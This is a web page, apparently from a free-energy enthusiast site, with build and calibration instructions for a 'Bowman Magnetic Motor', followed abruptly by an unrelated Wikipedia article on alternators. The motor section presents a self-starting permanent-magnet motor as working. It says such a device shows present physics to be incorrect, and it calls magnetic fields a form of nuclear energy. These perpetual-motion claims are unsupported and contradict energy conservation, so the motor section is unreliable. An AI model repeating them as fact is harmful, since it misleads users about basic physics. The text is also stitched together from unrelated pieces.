He seems to have a developed gift to visualize what the magnetic fields are doing in four-dimensions (3D plus time). "I can see into these things," he said.
The fact (if it is as he says it is) that he has successfully built a working magnetic motor should be credential enough to his natural ability.
Depending on the manufacturer, the technique, and the magnet, the properties of magnets vary as much as 30% within even one batch. Some magnet distributors are particular about the uniformity of the magnets they sell, but even then there will be variation between magnets.
Hence, this magnetic motor is not something that can merely be described by blueprints alone. There are certain elements that must be "tuned" in assembling the components of each unit. Mann has identified what those elements are, eliminating the guesswork, and making it a matter of scientific method.
As we progress with this open sourcing project, there are a lot of variables that should be introduced and characterized, but first the task is to accomplish a simple replication.
Mann was hoping to come upon a way to use the entire magnetic force for motive power. However, this present design requires at least half of the magnet power to be used to counter-act one magnet with another, the remaining is tappable for power. He doesn't think more than that can be tapped. Perhaps someone will show him wrong someday, even as he is showing the present models of physics to be incorrect.
Where Next
Instructions > How it Works > How Magnets Works
Instructions > How it Works > How the Motor Works
How Magnets Work
Understanding How Magnets Work in the Bowman Magnetic Motor
Don't Let the Magnets Smack Into Each Other
First, a word of caution. When working with magnets, it is very easy to accidentally have them smash into each other.
According to Mann, this must be avoided because the shock messes up the magnetic pole structure. If two magnets do smack together, you will need to re-measure them to see if their strength has been effected, and if so, how much, so you can regroup your magnets.
A Magnet's "Neutral Spot"
Mann has studied the shape that a magnetic field emits relative to the length versus width of the magnet. He has noted that the ratio of width to length of Bowman's magnets are consistently about 1 : 4.5.
Anything that is a ratio of 1:4 or less fits into classification called a "holding magnet." The defining characteristic is that as one moves along the magnet from North to South, the neutral point midway where the figure eight shape crosses is infinitesimally small.
But when a magnet goes beyond this ratio, that neutral point becomes a significant factor, stretching over a small length in the middle.
Much longer ratios begin to create a harmonics effect in which additional North-South polarities arise within the length of the magnet -- another magnet within the length of the magnet.
This ratio is a crucial element of the Bowman Magnetic Motor. All of the magnets are of the same length and width (ratio, can be scaled up or down), including the actuator magnet, in Mann's successful construction of Bowman's device.
Difference between Attraction and Repulsion
Mann said that repulsive forces work better close-up, and attractive forces work better at a distance, relatively speaking (we all know the overall strength of a magnet increase the closer the poles get to each other from adjacent magnets). The magnets emit a different concentration of force lines under attraction -- more spread out -- than they do under repulsion -- bunched together. Expect the neutral spot of a magnet to be offset from the physical center accordingly when one magnet is held 90º to the other. This becomes important in the proper placement of the actuator magnet in the "neutral zone" of the main rotor. The movement from this zone effects the function of the operation in a "tuning" sort of way. It is not a "hit or miss" scenario.
Magnetic Strength Proportional to Radii of Rotors
The magnets Mann purchased happened to be appropriate for the radius of of the device he constructed. He said that the stronger the magnets, the more distance will need to be placed between adjoining magnets or they will begin interfering with one another.
The highest power Neodymium magnets available today, [N...] , of the same size Mann used for this device, would call for the main rotor to be at least 18" in diameter.
On the other hand, magnets of a lower Gauss rating would require a smaller rotor diameter for optimal performance.
Nature of Magnetic Lines of Force
Just what the nature of the lines of force are is not required understanding for the Bowman motor. Mann agrees with Johnson and the patent office that accepted Johnson's patent that stated that the magnetic field produced by the permanent magnet is a form of nuclear energy. Mann said that is could be a high energy beta partial that can not escape the total internal reflection of the crystal lattice in the mass of the magnet. He also postulates that the present models of electromagnetic motor operation will need to be revisited by science when they see this magnetic motors in operation. The model that the AIAS has formed is more likely to be right. (&^& need ref)
Mann has studied Tom Bearden’s work and find that this type of process is common to nature. If Tom Bearden’s model is right then the motor will weight less under a load. Mann has not yet tested that hypothesis.
Theory of Magnetic Instability (TOMI)
Mann cites the following document as a seminal piece for its presentation of how magnetic forces work.
http://www.fortunecity.com/greenfield/bp/16/magnetic.htm
He highlighted in particular the following:
Tri-polar interaction:
In this configuration, notice:
1. The north pole of the horizontally presented magnet is further from the north pole of the left magnet, and this distancing isolates the interaction which normally occurs at closer range.
2. There is no longer an either/or relationship between the two magnets with regard to attraction or repulsion being operative in the system, but a simultaneous attraction/repulsion function operating between the two poles of the left magnet (stationary for this experiment) and the single south pole of the right magnet (non stationary).
3. The free magnet will move, not perpendicular but parallel with the lines of force. And it will always settle at a midpoint between the two poles of the stationary magnet on the left.
4. Contrary to the law of inverse squares, there will not be a magnetic lock between the two bodies, so no work is required to separate them.
This illustrates the angle at which he places his actuator magnet in relation to the magnets on the main rotor.
How the Bowman Magnetic Motor Works
How it Works
Here are some sketches Mann pulled together using a rudimentary drawing program. Sizes and shapes are not precise. The purpose is to illustrate the field interaction during rotation.
Douglas A. Mann's Sketches
Front face view
Net resistance is zero without actuator in place. (Target [after tuning]) Rotors spin freely as if no magnets exist.
* * * * * *
Introduction of Actuator magnet begins rotors in motion. Mann says some of the lines of magnetic force are drawn to the actuator, freeing up the lines of force from other magnets in vicinity, allowing magnets in QA1 to do work.
Note: When the Actuator is placed in the QA2 region, the rotation direction reverses.
Note: The optimal position for power output is for the actuator to be in the QR2 region in an attracting mode.
* * * * * *
Top view
Note labeling of the "Attracting rotor" and "Repulse Rotor"
* * * * * *
Actuator magnet must be placed equally repelling North, and attracting South poles of the power rotor magnets, so there is no load on the power rotor from the Actuator magnet fields. The effect of the Actuator will take up most of the flux from the passing power rotor magnets. This will reduce the force QR2 in figure 1. Then the force QA1 in figure 1 will cause rotation.
Important note relevant to strength of magnets and diameter of rotors: If the magnets are too strong, the fields will overlap and interfere. If they are too weak, the device will not self-start when the actuator is put in position.
You are here: PES Network Inc > Open Sourcing Projects > Magnetic Motors > Bowman > Instructions > Specs
Bowman Magnetic Motor Specs
Design Specifications
Mann said he used the dimensions of the Bowman motor given at http://www.freeenergy.co.za/ (complete URL is in link, not spelled out here because of its length [printout copies, try http://tinyurl.com/z5es]).
Drawings
Mann said these drawings are to scale, and that they are accurate with exception of the actuator. He changed some of the materials too. He took the below image, printed it, and enlarged it to 2x scale and used it as a blueprint. The image comes from http://www.icehouse.net/john1/peter.html
click for enlarged gif
Here are some additional drawings:
Note that as rotors turn, the meeting magnets will be aligning most closely on the horizontal plane exactly. This relationship is maintained between every magnet in turn. Without the actuator, a baseline target is a perfectly balanced "zero resistance" state, freely turning. See "tuning" instructions below.
Dimensions and Materials
According to the page Mann referenced, along with notes he conveyed by phone, here is a materials list. All materials, besides magnets, need to be non magnetic conducting. (See note: Use non-magnetic materials for rotors and body.)
NOTE: Where Mann used Delron, he would like to use Lexan, which is see-through, making for a better demo unit.
Scale: Do conversions based on main rotor diameter = 8 inches.
Rotor Magnets:
"NEO 32" [Neodymium 32; Gauss = ?]
Shape: cylindrical
Magnetism - polarity at ends.
Size: 3/8 inch diameter by 1.75 inch long. Mann said he went with this size because it is an "off-the-shelf" standard size. [Remember: Exact size is not as crucial as the 1 : 4.5 ratio of width to length.]
Quantity: Buy extra so you can select those of the closest actual Gauss.
Orientation: The magnets are situated lengthwise in the rotors, parallel with the shafts that hold the rotors.
Ends of magnets "were accordingly ground so as to pass close to opposing wheels with only a minute gap." Mann did not grind his Neodymiums, but selected the most uniform and used them as is.
Plating: Mann's magnets were Ni-plated (protects from corrosion of the Neodymium).
Actuator Magnet:
"NEO 32" [Neodymium 32; Gauss = ?]
Shape: rectangular box
Magnetism - on the flat side, with the 1/2" dimension holding the polarity.
Size: 1/2" x 3/8" x 1 3/8 "
Note: The ratio of dimensions is 3 x 4 x 11.
Note: The ratio of the length of the actuator magnet to the length of the rotor magnets is about 80%
Quantity: Buy extra in case the one is damaged.
Orientation: The south pole is closest to the rotor. The length of the magnet is parallel to the shaft of the rotor.
Plating: Ni-plated
Rotors:
The large rotor diameter is 8 inches, using Delron, milling the magnet holes so they nearly breach tangent, allowing close proximity to the actuator magnet.
The two small rotors diameters are 4 inches (to perimeter of magnet; extra material beyond is okay here), using Delron.
Thickness: not crucial, but should be adequate to (1) hold magnet securely, (2) allow for some adjustment of the 1.75" magnets parallel to shaft. Recommended: 1 inch.
Magnet holes are milled for tight fit of magnets so they can be adjusted with ~15 lbs pressure, but stay fast against the ~5 lb pressure when passing other magnets when installed and in motion. [Paper can be used as a temporary wedge. Glue could be used (but not until optimal position is determined by the timing procedure given below); or plastic synch screws could be fashioned].
Hole positions for magnets:
On small rotors: Exactly 0º, 90º, 180º, 270º; situated with outside edge of magnet as specified in the drawing. Material may extend beyond for strength in holding the magnet.
On large, main rotor: Exactly 0º, 45º, 90º, 135º, 180º, 225º 270º, 315º; situated with outside edge of magnet as specified in the drawing. Material should just end where the magnets end, so the actuator magnet can get close. A small amount of coverage (full enclosure) beyond the magnet would be okay for strength, but not more than 1.5 mm.
Note: If the actuator gets too close to the main rotor magnets, a "locking effect" comes into play, so some clearance is not only okay, but actually necessary.
Mann recommends that when machining the holes for the magnets that the bits turn at low speed. The higher speed tends to melt the plastic and leave a larger hole, through which the magnet does not fit snugly. In this case, you can use paper wedges to restore a snug fit.
Bearings
See: Bearings Considerations
Frame:
Device is mounted on a ~½-inch (thickness not crucial) Delron base.
Two upright sheets that hold the shafts are also made of Delron ~½-inch (thickness not crucial)
stainless steel bolts used to fasten the vertical support to the horizontal support.
Shafts: three parallel shafts
made of "3-16 stainless steel" [not sure of nomenclature representation in writing]
½-inch diameter.
center shaft needs extra length to attach to load (e.g. torque wrench)
position of small rotors on shaft needs to be adjustable to within 1/1000ths of an inch, and +/- ½ inch in relation to main rotor as shown in diagram.
Gears:
2:1 ratio spin rate of small rotors in relation to main rotor.
the center, large rotor spins in opposite direction to the two smaller rotors on either side.
Material: Mann had his gears made of steel. "They are far enough away from the magnets," he said.
Tolerance: very tight.
Configuration: standard "3rd gear / spur gears" so there is no clicking as the gear tines come together. using ½-inch belt.
Alternative: Not recommended until Mann's device has been replicated successfully as is.
Belt System - ½-inch belt.
Chain Sprocket
Actuator Holder:
Needs to have a plastic thumb screw to hold magnet as close as possible to main rotor, and be able to move +/- ½ inch in any direction relative to that position.
Misc tools needed
Torque wrench: typical, inexpensive, measures foot-lbs. Mann uses a 240 in-lb range wrench 1/4 drive. He said the force range that most will be working in is about 15 inch-lb max to zero.
Estimated Tolerances for Possible Variations
Some aspects are crucial, others have leeway, as indicated here:
Material Composition
Needs to be non-magnetic conducting.
Magnets: flexible to approximate Mann's working device.
Type may vary, as long as the Gauss is +/- ~20% of the Alnico 8s.
Size may be +/- ~20%, but should maintain the 1 : 4.5 ratio of width to length
rectangular v. cylindrical: may be interchangeable (though not with identical output, as rectangular magnets are stronger).
Mann calculated Bowman's rectangular magnets to be of dimension 5/8" x ½" x 2¼" (note: ½ : 2¼ gives the 1 : 4.5 ratio; while 5/8 : 2¼ gives a ratio of 1 : 3.6. Mann's tests show that the smaller face sets the ratio.)
He had two sets of magnets: Alnico, and NEO. He first unsuccessfully tried the Alnico magnets, but was able to get the NEO magnets to work.
Rotors: size: flexible
increase or decrease of size should approximate increase or decrease in Gauss of magnets relative to Mann's Alnico 8s.
main rotor needs to be 2x size of smaller rotors, which need to be the same diameter.
rotor positions relative to one another needs to be adhered to closely, proportionately.
Gearing: 2:1 precisely, no variations.
Shafts: thickness, length, and material not crucial except that the material should not be magnetically conducting.
Note: For purposes of successful replication, you would be best advised to stay as close as possible to Mann's design. At the same time, it would be good to implement means by which you can begin to introduce variations, once you achieve successful replication, in order to begin characterizing the device. See Points of Design Variation for Characterization and Optimization below.
Putting the Bowman Magnetic Motor Together
Manufacturing the Base, Vertical Support, and Rotors
See auxiliary tips: Cutting out pieces
See How to find the magnet radius on your rotors
Situating the Rotors Horizontally
Mann says the alignment of the rotors horizontally is important so as to get the right overlap of magnets. The magnets are not to be "face to face" when they come into horizontal position, but are to be offset by a little less than half the width of the magnet, looking from the front. There may be some leeway in this aspect.
This illustration is misleading, as there is no horizontal gap.
Magnets actually overlap a little less than 1/2 the width of the magnet.
* * * * *
The overlap shown in the above animation by Eric Vogels is what Mann says is the correct overlap.
Orientation of the Actuator
The orientation of the actuator in relation to horizontal should be about 35º (some leeway), and in relation to the main rotor tangent 90º.
In the illustration at the right (see enlarged view) Mann said the preferred position is somewhere between 1B and 2B, but closer to 1B, and at 90º to tangent of the main rotor.
Mann thinks the actuator magnet could be bigger than the magnets in the rotor, but he used the same size of magnet.
He says there is quite a bit of lee-way in the placement of the actuator. (I presume this means in the plane of alignment with the main rotor, 90º to tangent of the main rotor.)
The south pole is closest to the rotor. The length of the magnet is parallel to the shaft of the rotor.
Note: Illustration is not of Mann's
rotor or magnet. The actuator
magnets are rectangular, not cylindrical; and they run parallel
to the shaft
Timing
One of the keys to the motor's operation is a proper timing protocol whereby (1) the magnets are arranged correctly within each rotor front to back (parallel with shaft); and (2) the rotors are aligned correctly in relation to each other, front to back (parallel with the shaft); and (3) the actuator is aligned in relation to the main rotor. Perfect alignment is not required for function, but near approximation of perfection gives better results than a sloppy approximation.
Because of the way attraction works compared to repulsion (explained above), the attracting rotor will be situated a little further away than the the repelling rotor. Mann said in his case, the attracting rotor was about 60/1000 away from the main rotor, while the repelling rotor was about 20/1000 away from the main rotor. Bowman purportedly got his to within 5/1000.
A. Characterizing the Magnets for Uniform Distribution
The first thing Mann does before assembling the rotors is to run a rough gauss test on each magnet and then group them according to their strength.
He concurred with the following protocol. (Other methods can accomplish the same objective.) A gauss meter could be used instead.
Fix one magnet stationary -- the reference magnet.
Fix a small inert spacer over the magnet, e.g. 2 mm. Exact distance is not crucial, except that all magnets be measured with the same distance.
Devise a means of fastening a scale (weight) to a magnet to determine the force required to separate it from the reference magnet.
Record the reading for each magnet.
Order the magnets from strongest to weakest.
Group the magnets in two sets of four, and one set of eight, of relatively close magnetism.
Mann purchased 29 magnets and used 16.
B. Zero Out the Main Rotor in Relation to the Actuator
Note: a different magnet is used in the actuator position for the balancing of the rotor. A more narrow magnet, with poles at the end is preferable. A rotor magnet could be used.
Fix the actuator (substitute) magnet in place as close to the main rotor as possible.
One by one, move the magnets until they pass by the actuator without any resistance -- the N/S attraction/repulsion balancing each other out.
When done, the rotor should spin freely as though no magnets were present.
Note: Mann says "sometimes you will just need to turn a magnet 1/4 turn before it will match fields."
C. Put Actuator Magnet in Place and Mark Position.
Replace the temporary actuator with the actual actuator magnet, and position it very [(e.g. 2 mm) need exact specs] close to the rotor.
Orientation: The south pole is closest to the rotor. The length of the magnet is parallel to the shaft of the rotor.
Position the actuator magnet on its x,y horizontal axis so that the rotor turns freely as though no actuator were present.
Mark the position of the actuator to within 1/1000 and then remove it.
Mark the position of the main rotor to within 1/1000 in case it needs to be taken off and then put back on (not part of calibration, but take-down and set-up).
D. Calibrate Repelling Rotor
Calibrate each of the repel rotor magnets in relation to the main rotor so they yield the same torque reading on the torque wrench. Calibration is done by moving the repelling rotor magnets forward or backward, parallel to the shaft.
Remove the attract rotor, so only the repel and main rotors are in place.
Make sure the rotors are set on their gears so that the magnets are are exactly horizontally aligned when they come into juxtaposition on the horizontal plane that bisects the center of the rotors.
Position the first repel rotor magnet so it is evenly set on the rotor, with the same amount of overhang on the front and back of the rotor. (not essential, just practical and aesthetic)
Move the rotor out of position radially and then measure the torque required to bring that magnet past the point of repulsion.
Repeat three or four times to get a best average reading.
Using that reading as a standard, now adjust the remaining three magnets so they give the same reading on the torque meter.
Move the entire repel rotor along the plane of the shaft so it is as close as you can get it without the magnets actually touching.
Check again the torque reading, and record this number so you can repeat it for the attract rotor.
Mark the position of the main and repel rotors to within 1/1000ths, so when the repel rotor is removed to calibrate the attract rotor, it can be put back in place to within 1/1000ths of an inch.
Remove the repel rotor.
E. Calibrate Attract Rotor
Calibrate each of the attract rotor magnets in relation to the main rotor so they yield the same torque reading as was given for the repel rotor above.
Only the repel rotor in in place, with the main rotor. (Repel rotor is removed.)
Make sure the rotors are set on their gears so that the magnets are are exactly horizontally aligned when they come into juxtaposition on the horizontal plane that bisects the center of the rotors.
Repeat the steps given for the repel rotor calibration, except set each magnet to equal the standard derived from the repel calibration.
You may wish to position magnets so they are nominally centered on the rotor, rather than hanging more to one side or the other. (not essential, just practical for balance and aesthetics).
Mark the position of the main rotor and attract rotors to within 1/1000ths, so they can be removed and put back on without having to recalibrate.
F. Put all rotors in place: system should be balanced (zero)
After putting all three rotors in place as calibrated and marked, the rotors should now spin freely as if no magnets were in place. The only resistance should be that of the gears (or belt) and bearings. This is the milestone, which if reached, leaves just one step to realize the desired result: self-movement with addition of actuator.
G. Replace Actuator: Viola
Put the actuator into place as calibrated in step C.
The motor should begin spinning.
Bill of Materials
List is in process of being completed. Whichever engineer is the first to be able to visit Mann should document all of these specs.
See also: Sourcing
Summary of Costs
From: Mark Hayton
To: PES_BMM@yahoogroups.com
Sent: Saturday, February 07, 2004 12:46 PM
Subject: RE: [PES_BMM] Cost of building Bowman motor
At current count, I believe I have bought all my parts for less than $500.00..
Mark Hayton
Parts List
From: [Douglass Mann]
To: "Sterling D. Allan"
Sent: Sunday, January 11, 2004 10:59 PM
Subject: Re: Doug -- we need precise measurements from Steve
Sterling,
Part list and detail information for unit 0 .
Later
Douglas
Part list for Unit 0 reproduction
Gear Set for : Unit 0
I have no part number yet, but here are the sizes.
Small gears
number small gears 2
24 diametric pitch
80 teeth
pitch diameter 3.3333
.187" wide + or - OK But to wide will have more drag.
hub/ ½" bore with key way & ss or some fixing system
carbon steel
large gear
24 diametric pitch
160 teeth
pitch diameter 6.6666
.187" wide
carbon steel
hub/ ½ " bore with key way & ss or some fixing system
Shafts
stock McMaster-Carr part number 89325K25
There are 3 shafts ½" diameter 23 3/4" long with standard key way on the gear ends
non-magnetic 316 stainless steel.
Bearings
There are 6 ball bearing all being the same size, but having some differences noted below.
Three of the ball bearings are McMaster-Carr part number 6383K41 open; this was done to lower drag. These three bearing that are used on the gear side of the motor away from the magnetic fields.
The three 304 stainless steel ball bearing McMaster-Carr part number 5908K17 open.
These were used on the magnetic rotor side to help reduce possible magnetic hanging.
There are three Bronze Sleeve used as spacers. McMaster-Carr part number 6391K124.
These are used between the gears the bearings , and may or may not, be cut down to set the shafts in play lash. They will go through a hole in the end support plate to push on the inter bearing race .
There are six one piece clamp-on Collars used to set the shafts in play .
Three that are used on the gear side McMaster-Carr part number 6435K14 steel.
Three that are used on the magnetic rotor side are part number 6435K34 303 non magnetic stainless steel
The Base Plate is1 inch thick by 12 inch wide and 24 inch long. The end support plates are 14 inch a part center to center. On the end that the magnetic rotors are to be places; the first end support plat is 6 ½ inch back from the end of the base plate to the center of the end support plate.
The Both End Plates are the same. The bearings are counter sunk into the end plates, so that they are flat with the insides. The through hole that shaft goes through is sized so that the bronze sleeve does not rub. The counter sunk are place to the inside then the clamp-on collars keep the shafts in play to .001 The end plates are 12" by 6 ½" by 1".The shafts are 5" on center and 5 ½" from the base plate. The end plated are fixed in place to the base plate with 4 SS bolts each.
Preface
[Jan. 1, 2004]
TO: PES_BMM@yahoogroups.com
FROM: mwiseman1@cox.net
RE: Bill of Materials for an exact replication
In order to replicate Douglas A. Mann's system exactly, the unspecified details are needed.
Ideally, the exact mfgr part and batch numbers should be specified. Here's what I got from the website, please correct as indicated, and make as comprehensive as possible:
List
Qty 16 (get extra), Neo magnets, Ni-plated N32 cylindrical, 3/8 inch diameter by 1.75 inch long. Polarity: poles on ends.
Qty 1 (get extra), Neo magnet, Ni-plated N32 rectangular, 1/2" x 3/8" x 1 3/8. Polarity is on the flat side, with the 1/2" dimension face holding the N-S polarity.
Qty 1, rectangular Delron sheet .5" thick, length x width unspecified.
Serves as support base of system.
Qty 2, rectangular Delron sheet .5" thick, length x width unspecified.
Serves as vertical shaft support pair.
Qty 1, 8" disc, cut from a Delron sheet .5" thick
Serves as main rotor.
Qty 2, 4" disc, cut from a Delron sheet .5" thick
Serves as side rotors.
Qty 1, piece cut from a Delron sheet .5" thick? length x width
unspecified.
Serves as Actuator magnet Holder.
Qty 3, #3-16 stainless steel rod .5" dia., lengths unspecified.
Serves as rotor shafts.
Qty 1, steel gears, unspecified pitch, style, diameter, thickness,
weight, hardness.
Serves as main rotor gear.
Qty 2, steel gears, unspecified pitch, style, diameter, thickness,
weight, hardness.
Serves as side rotor gears.
Qty 6, ball bearings, .5" ID. Unspecified rating.
Serves as side and main rotor shaft bearings.
Qty, pitch/length sizes and material unspecified, Screws.
Placements unspecified. Serves as device to affix Delron structural supports together.
Epilogue
Mann told me that he still gets a thrill when he watches the device begin to turn when he engages the actuator. "It's the strangest sensation to see it turning," with nothing more than just magnets positioned in the right way. He is still incredulous when he watches it, hardly believing what he is seeing.
As of our phone conversation, he hadn't even told his wife about the project yet, he is being very careful about its preservation.
He is grateful to be so close to a point where he can now share this with the world. His dyslexia makes it difficult for him to write, so he wants to be able to have one place on the Internet where everyone can go to get a complete set of instructions along with "Frequently Asked Questions." Images, still and video, are pending.
"Bowman has harnessed the law of action and reaction and put it into motion." Mann says it should be called the "free motive force."
"Electric waves could do the same thing," says Mann. "That may have been what Tesla was doing."
Bowman applied for a patent for his device, but the application was denied. It would be nice to get a hold of that application, though Mann seems to have been able to do pretty good without it.
URL : "http://www.pureenergysystems.com/os/MagneticMotors/BMM/plans/index.html"
alternator
Alternator
From Wikipedia, the free encyclopedia
Early 20th-century alternator made in Budapest, Hungary, in the power generating hall of a hydroelectric station (photograph by Prokudin-Gorsky, 1905–1915).
An alternator is an electromechanical device that converts mechanical energy to electrical energy in the form of alternating current. Most alternators use a rotating magnetic field but linear alternators are occasionally used. In principle, any AC electrical generator can be called an alternator, but usually the word refers to small rotating machines driven by automotive and other internal combustion engines. Alternators in power stations driven by steam turbines are called turbo-alternators.
Contents [hide]
1 History
2 Principle of operation
3 Synchronous speeds
4 Automotive alternators
5 Marine alternators
6 Brushless alternators
6.1 Construction
6.2 Main alternator
6.3 Control system
6.4 Automatic voltage regulator (AVR)
7 Hybrid automobiles
8 Radio alternators
9 See also
10 Notes
11 References
12 External links
[edit]History
Alternating current generating systems were known in simple forms from the discovery of the magnetic induction of electric current. The early machines were developed by pioneers such as Michael Faraday and Hippolyte Pixii.
Faraday developed the "rotating rectangle", whose operation was heteropolar - each active conductor passed successively through regions where the magnetic field was in opposite directions.[1] The first public demonstration of a more robust "alternator system" took place in 1886.[2] Large two-phase alternating current generators were built by a British electrician, J.E.H. Gordon, in 1882. Lord Kelvin and Sebastian Ferranti also developed early alternators, producing frequencies between 100 and 300 Hz. In 1891, Nikola Tesla patented a practical "high-frequency" alternator (which operated around 15 kHz).[3] After 1891, polyphase alternators were introduced to supply currents of multiple differing phases.[4] Later alternators were designed for varying alternating-current frequencies between sixteen and about one hundred hertz, for use with arc lighting, incandescent lighting and electric motors.[5]
[edit]Principle of operation
Diagram of a simple alternator with a rotating magnetic core (rotor) and stationary wire (stator) also showing the current induced in the stator by the rotating magnetic field of the rotor.
Alternators generate electricity by the same principle as DC generators, namely, when the magnetic field around a conductor changes, a current is induced in the conductor. Typically, a rotating magnet called the rotor turns within a stationary set of conductors wound in coils on an iron core, called the stator. The field cuts across the conductors, generating an induced EMF, as the mechanical input causes the rotor to turn.
The rotating magnetic field induces an AC voltage in the stator windings. Often there are three sets of stator windings, physically offset so that the rotating magnetic field produces three phase currents, displaced by one-third of a period with respect to each other.
The rotor magnetic field may be produced by induction (in a "brushless" alternator), by permanent magnets (in very small machines), or by a rotor winding energized with direct current through slip rings and brushes. The rotor magnetic field may even be provided by stationary field winding, with moving poles in the rotor. Automotive alternators invariably use a rotor winding, which allows control of the alternator generated voltage by varying the current in the rotor field winding. Permanent magnet machines avoid the loss due to magnetizing current in the rotor, but are restricted in size, owing to the cost of the magnet material. Since the permanent magnet field is constant, the terminal voltage varies directly with the speed of the generator. Brushless AC generators are usually larger machines than those used in automotive applications.
[edit]Synchronous speeds
The output frequency of an alternator depends on the number of poles and the rotational speed. The speed corresponding to a particular frequency is called the synchronous speed for that frequency. This table [6] gives some examples:
Poles RPM at 50 Hz RPM at 60 Hz
2 3,000 3,600
4 1,500 1,800
6 1,000 1,200
8 750 900
10 600 720
12 500 600
14 428.6 514.3
16 375 450
18 333.3 400
20 300 360
More generally, one cycle of alternating current is produced each time a pair of field poles passes over a point on the stationary winding. The relation between speed and frequency is N = 120f / P , where f is the frequency in Hz (cycles per second). P is the number of poles (2,4,6...) and N is the rotational speed in revolutions per minute (RPM). Very old descriptions of alternating current systems sometimes give the frequency in terms of alternations per minute, counting each half-cycle as one alternation; so 12,000 alternations per minute corresponds to 100 Hz.
[edit]Automotive alternators
Alternator mounted in lower right front of an automobile engine with a serpentine belt pulley.
Cut-away of an alternator, showing the claw-pole construction; two of the wedge-shaped field poles, alternating N and S, are visible in the center, and the stationary armature winding is visible at the top and bottom of the opening. The belt and pulley at the right hand end drives the alternator.
Alternators are used in modern automobiles to charge the battery and to power a car's electric system when its engine is running. Alternators have the great advantage over direct-current generators of not using a commutator, which makes them simpler, lighter, less costly, more rugged than a DC generator, and the slip rings allow for greatly extended brush life. The stronger construction of automotive alternators allows them to use a smaller pulley so as to turn faster than the engine, improving output when the engine is idling. The availability of low-cost solid-state diodes from about 1960 onward allowed car manufacturers to substitute alternators for DC generators. Automotive alternators use a set of rectifiers (diode bridge) to convert AC to DC. To provide direct current with low ripple, automotive alternators have a three-phase winding. In addition, the pole-pieces of the rotor are shaped (claw-pole) so as to produce a voltage waveform closer to a square wave that, when rectified by the diodes, produces even less ripple than the rectification of three-phase sinusoidal voltages.
Typical passenger vehicle and light truck alternators use Lundell or claw-pole field construction, where the field north and south poles are all energized by a single winding, with the poles looking rather like fingers of two hands interlocked with each other. Larger vehicles may have salient-pole alternators similar to larger machines. The automotive alternator is usually belt driven at 2-3 times the engine crankshaft speed. Automotive alternators are not restricted to a certain RPM because the alternating current is rectified to direct current and need not be any constant frequency.
Modern automotive alternators have a voltage regulator built into them. The voltage regulator operates by modulating the small field current in order to produce a constant voltage at the stator output. The field current is much smaller than the output current of the alternator; for example, a 70-amp alternator may need only 2 amps of field current. The field current is supplied to the rotor windings by slip rings and brushes. The low current and relatively smooth slip rings ensure greater reliability and longer life than that obtained by a DC generator with its commutator and higher current being passed through its brushes.
Where the brushes in a generator are relatively accessible for service and replacement, the alternator's brushes are not. The alternator usually must be disassembled to reach and change the brushes. However, the smooth slip rings cause so little brush wear that they may be said to last the life of the alternator.
Efficiency of automotive alternators is limited by fan cooling loss, bearing loss, iron loss, copper loss, and the voltage drop in the diode bridges; at part load, efficiency is between 50-62% depending on the size of alternator, and varies with alternator speed.[7] In comparison, very small high-performance permanent magnet alternators, such as those used for bicycle lighting systems, achieve an efficiency around 60%. Larger permanent magnet alternators can achieve much higher efficiency.[citation needed] By contrast, the large AC generators used in power stations run at carefully controlled speeds and have no constraints on size or weight. Consequently, they have much higher efficiencies, on the order of 98% from shaft to AC output power.
The field windings are initially supplied via the ignition switch and charge warning light, which is why the light glows when the ignition is on but the engine is not running. Once the engine is running and the alternator is generating, a diode feeds the field current from the alternator main output, thus equalizing the voltage across the warning light which goes out. The wire supplying the field current is often referred to as the "exciter" wire. The drawback of this arrangement is that if the warning light fails or the "exciter" wire is disconnected, no excitation current reaches the alternator field windings and so the alternator, due to low residual magnetism in the rotor will not generate any power. However, some alternators will self-excite when the engine is revved to a certain speed. Also, some warning light circuits are equipped with a resistor in parallel with the warning light that will permit excitation current to flow even if the warning light fails. The driver should check that the warning light is glowing when the engine is stopped, otherwise, there might not be any indication of a failure of the alternator drive belt which normally also drives the cooling water pump.
Very large automotive alternators used on buses, heavy equipment or emergency vehicles may produce 300 amperes. Very old automobiles with minimal lighting and electronic devices may have only a 30 ampere alternator. Typical passenger car and light truck alternators are rated around 50-70 amperes, though higher ratings are becoming more common, especially as there is more load on the vehicle's electrical system with, for example, the introduction of electric power steering systems. Very large automotive alternators may be water-cooled or oil-cooled.
Many alternator voltage regulators are today linked to the vehicle's on board computer system, and in recent years other factors including air temperature (obtained from the mass air flow sensor in many cases) and engine load are considered in adjusting the battery charging voltage supplied by the alternator.
[edit]Marine alternators
Marine alternators used in yachts are similar to automotive alternators, with appropriate adaptations to the salt-water environment. Marine alternators are designed to be explosion proof so that brush sparking will not ignite explosive gas mixtures in an engine room environment. They may be 12 or 24 volt depending on the type of system installed. Larger marine diesels may have two or more alternators to cope with the heavy electrical demand of a modern yacht. On single alternator circuits the power is split between the engine starting battery and the domestic or house battery (or batteries) by use of a split-charge diode or a mechanical switch. Because the alternator only produces power when running, engine control panels are typically fed directly from the alternator by means of an auxiliary terminal. Other typical connections are for charge control circuits.
[edit]Brushless alternators
[edit]Construction
A brushless alternator is composed of two alternators built end-to-end on one shaft. Smaller brushless alternators may look like one unit but the two parts are readily identifiable on the large versions. The larger of the two sections is the main alternator and the smaller one is the exciter. The exciter has stationary field coils and a rotating armature (power coils). The main alternator uses the opposite configuration with a rotating field and stationary armature. A bridge rectifier, called the rotating rectifier assembly, is mounted on a plate attached to the rotor. Neither brushes nor slip rings are used, which reduces the number of wearing parts.
[edit]Main alternator
The main alternator has a rotating field as described above and a stationary armature (power generation windings).
[edit]Control system
Varying the amount of current through the stationary exciter field coils varies the 3-phase output from the exciter. This output is rectified by a rotating rectifier assembly, mounted on the rotor, and the resultant DC supplies the rotating field of the main alternator and hence alternator output. The result of all this is that a small DC exciter current indirectly controls the output of the main alternator.
[edit]Automatic voltage regulator (AVR)
An automatic voltage control device controls the field current to keep output voltage constant.
[edit]Hybrid automobiles
Hybrid automobiles replace the separate alternator and starter motor with a combined motor/generator that performs both functions, cranking the internal combustion engine when starting, providing additional mechanical power for accelerating, and charging a large storage battery when the vehicle is running at constant speed. These rotating machines have considerably more powerful electronic devices for their control than the automotive alternator described above.
[edit]Radio alternators
Main article: Alexanderson alternator
High frequency alternators of the variable-reluctance type were applied commercially to radio transmission in the low-frequency radio bands. These were used for transmission of Morse code and, experimentally, for transmission of voice and music.
[edit]See also
Electrical generator as in pre-1960 motor cars
Linear alternator
Jedlik's dynamo
[edit]Notes
^ Thompson, Sylvanus P., Dynamo-Electric Machinery. pp. 7
